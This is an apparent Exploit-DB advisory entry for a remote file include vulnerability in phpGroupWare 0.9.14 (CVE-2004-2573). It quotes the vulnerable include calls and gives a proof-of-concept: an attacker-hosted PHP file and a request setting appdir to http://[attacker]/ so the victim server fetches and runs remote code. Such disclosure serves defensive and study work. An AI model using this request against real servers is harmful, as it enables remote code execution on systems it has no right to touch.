PHPGroupWare 0.9.14 Tables_Update.Inc.PHP Remote File Include Vulnerability

2004-01-27T00:00:00
ID EDB-ID:25043
Type exploitdb
Reporter Cedric Cochin
Modified 2004-01-27T00:00:00

Description

PHPGroupWare 0.9.14 Tables_Update.Inc.PHP Remote File Include Vulnerability. CVE-2004-2573. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/12074/info

phpGroupWare is prone to a remote file include vulnerability, potentially allowing the execution of malicious PHP code. This would occur in the context of the affected web server. 

The tables_update.inc.php script contains the following include calls:
/* Include older phpGroupWare update support */
include($appdir . 'tables_update_0_9_9.inc.php');
include($appdir . 'tables_update_0_9_10.inc.php');
include($appdir . 'tables_update_0_9_12.inc.php');

For example supplying the following file:
tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>

The following request will execute the phpinfo() command on the vulnerable target:

http://[victim]/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://[attacker]/